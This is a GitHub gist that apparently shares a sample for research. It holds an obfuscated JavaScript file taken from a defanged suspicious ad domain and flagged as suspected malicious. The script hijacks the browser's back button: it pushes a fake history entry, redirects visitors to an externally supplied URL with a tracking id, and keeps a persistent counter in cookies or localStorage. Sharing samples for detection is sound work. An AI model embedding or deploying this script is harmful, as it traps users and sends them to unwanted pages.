Skip to content

Instantly share code, notes, and snippets.

@iam-py-test
Created February 22, 2026 02:12
Show Gist options
  • Select an option

  • Save iam-py-test/375bc55e52d1cde68520fdc9afa85705 to your computer and use it in GitHub Desktop.

Select an option

Save iam-py-test/375bc55e52d1cde68520fdc9afa85705 to your computer and use it in GitHub Desktop.
JavaScript file from hxxpx[://]kettledroopingcontinuation[.]com/4d/be/e5/4dbee55e59fc95ea4356dbb197f2132c.js - suspected to be malicious
(function() {function b4wijp(Y,W){Y=Y-0x7a;var P=b4wijP();var p=P[Y];return p;}function b4wijP(){var Y8=['26RQaeSm','setItem','SameSite=Lax','Cannot\x20call\x20a\x20class\x20as\x20a\x20function','onpageshow','length','9KkIzyV','4047752ucuWaU','expires=','defineProperty','writable','toUTCString','string','replace','constructor','&uuid=','1074577HOhNoc','prototype','filter','path=/','20QWyVUd','parse','localStorage','getTime','resetItem','dom3ic8zudi28v8lr6fgphwffqoz0j6c','join','call','30ivygQs','location','title','getItem','search','36UmjdsP','redirectUrl','persisted','addEventListener','split','object','value','removeEventListener','popstate','now','toPrimitive','40ZrVcIA','3286673RiZFJQ','slice','backButtonData','symbol','storageSupport','expires','2408483dVfkaP','s9ifs0idfjlwfie32dekl','pushState','key','29913NrFzjj','@@toPrimitive\x20must\x20return\x20a\x20primitive\x20value.','toString','(((.+)+)+)+$','isLocalStorage','top','removeItem','48450ooUxID','host','632004cCrtPH','href','configurable','enumerable','apply'];b4wijP=function(){return Y8;};return b4wijP();}(function(Y,W){var U=b4wijp,P=Y();while(!![]){try{var p=-parseInt(U(0x7e))/0x1*(-parseInt(U(0x8c))/0x2)+-parseInt(U(0x85))/0x3*(parseInt(U(0xb8))/0x4)+-parseInt(U(0xa8))/0x5*(-parseInt(U(0x87))/0x6)+parseInt(U(0x9c))/0x7+-parseInt(U(0x93))/0x8*(-parseInt(U(0x92))/0x9)+-parseInt(U(0xa0))/0xa*(parseInt(U(0x7a))/0xb)+parseInt(U(0xad))/0xc*(-parseInt(U(0xb9))/0xd);if(p===W)break;else P['push'](P['shift']());}catch(F){P['push'](P['shift']());}}}(b4wijP,0x4ebb4),!(function(){var Y3=b4wijp,Y=(function(){var M=!![];return function(d,m){var g=M?function(){var j=b4wijp;if(m){var A=m[j(0x8b)](d,arguments);return m=null,A;}}:function(){};return M=![],g;};}());'use strict';var P=function(){var K=b4wijp;try{return window[K(0xa2)][K(0x8d)](K(0xbd),'1'),window[K(0xa2)][K(0x84)](K(0xbd)),K(0xa2)in window&&null!==window[K(0xa2)];}catch(M){return![];}},p=function(M){var L=b4wijp;if(P())return window['localStorage'][L(0x84)](M),!![];else return![];};function F(M){var i=b4wijp;return F='function'==typeof Symbol&&i(0xbc)==typeof Symbol['iterator']?function(d){return typeof d;}:function(d){var o=i;return d&&'function'==typeof Symbol&&d[o(0x9a)]===Symbol&&d!==Symbol[o(0x9d)]?o(0xbc):typeof d;},F(M);}function R(M,d){var V=b4wijp;for(var m=0x0;m<d[V(0x91)];m++){var g=d[m];g[V(0x8a)]=g[V(0x8a)]||!0x1,g[V(0x89)]=!0x0,V(0xb3)in g&&(g[V(0x96)]=!0x0),Object['defineProperty'](M,v(g[V(0x7d)]),g);}}function x(M,d,m){var r=b4wijp,g=Y(this,function(){var f=b4wijp;return g[f(0x80)]()[f(0xac)](f(0x81))[f(0x80)]()[f(0x9a)](g)[f(0xac)](f(0x81));});g();var A={};return A[r(0x96)]=!0x1,(d&&R(M[r(0x9d)],d),m&&R(M,m),Object['defineProperty'](M,r(0x9d),A),M);}function B(M,d,m){var e=b4wijp,g={};return g['value']=m,g[e(0x8a)]=!0x0,g[e(0x89)]=!0x0,g[e(0x96)]=!0x0,((d=v(d))in M?Object[e(0x95)](M,d,g):M[d]=m,M);}function v(M){var T=b4wijp,d=function(m,g){var k=b4wijp;if(k(0xb2)!=F(m)||!m)return m;var A=m[Symbol[k(0xb7)]];if(void 0x0!==A){var z=A[k(0xa7)](m,g||'default');if('object'!=F(z))return z;throw new TypeError(k(0x7f));}return(k(0x98)===g?String:Number)(m);}(M,T(0x98));return T(0xbc)==F(d)?d:d+'';}var y=';\x20',N=x(function M(){var X=b4wijp,d=this,m=arguments['length']>0x0&&arguments[0x0]!==undefined?arguments[0x0]:{},g=m['isLocalStorage'],A=void 0x0===g?![]:g;!function(z,J){var O=b4wijp;if(!(z instanceof J))throw new TypeError(O(0x8f));}(this,M),B(this,X(0x82),![]),B(this,'setItem',function(z,J,D,H){var q=X,Z=new Date(new Date()[q(0xa3)]()+D)[q(0x97)](),w=D?q(0x94)+Z:'',G=H?'domain='+H:'',E=[z+'='+J,w,q(0x9f),G,q(0x8e)][q(0x9e)](Boolean),C=[J,w][q(0x9e)](Boolean);if(d['isLocalStorage'])!function(h,S){var b=q;if(P())window[b(0xa2)]['setItem'](h,S);else;}(z,C['join'](y));else document['cookie']=E['join'](y);}),B(this,X(0xa4),function(z){var Y0=X;d[Y0(0x8d)](z,0x0,-0x1);}),B(this,X(0xab),function(z){var Y2=X,J;if(d['isLocalStorage']){J=function(Z){var Y1=b4wijp,w;if(P()){if(w=window[Y1(0xa2)][Y1(0xab)](Z),w)return w;}return![];}(z)['toString']()[Y2(0xb1)](y);for(var D=0x0;D<J[Y2(0x91)];D+=0x1)if(Y2(0xbe)===J[D][Y2(0xb1)]('=')[0x0]){if(Date[Y2(0xa1)](J[D][Y2(0xb1)]('=')[0x1])<Date[Y2(0xb6)]())return p(z),![];else return J[0x0];}}else{J=document['cookie'][Y2(0xb1)](y);for(var H=0x0;H<J[Y2(0x91)];H+=0x1)if(J[H][Y2(0xb1)]('=')[0x0]===z)return J[H][Y2(0xb1)]('=')[0x1];}return![];}),B(this,'isStorageAvailable',function(){return window===window['top']||P();}),this[X(0x82)]=window!==window[X(0x83)]||A;}),Q=Y3(0xa5),I=Y3(0x7b);!(function(){var Y4=Y3,d=new N(),m=window[Y4(0xa9)][Y4(0x88)];history[Y4(0x7c)](null,document[Y4(0xaa)],window[Y4(0xa9)][Y4(0x88)]);var g=function(){var Y5=Y4;if(window[Y5(0xa9)][Y5(0x88)]===m){var A=document[Y5(0xa9)][Y5(0x86)]['split']('.')[Y5(0xba)](-0x2)[Y5(0xa6)]('.'),z=window[Y5(0xbb)][Y5(0xae)],J=Number(d[Y5(0xab)](I));d[Y5(0x8d)](I,J+0x1,0x3e8*0x3c*0x3c*0x18*0x16d,A),window[Y5(0xa9)][Y5(0x99)](z+Y5(0x9b)+d[Y5(0xab)](Q));}};window[Y4(0xb0)](Y4(0xb5),g),window[Y4(0x90)]=function(A){var Y6=Y4;if(A[Y6(0xaf)])window[Y6(0xb4)](Y6(0xb5),g),setTimeout(function(){var Y7=Y6;window[Y7(0xb0)](Y7(0xb5),g);},0x64);};}());}()));})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment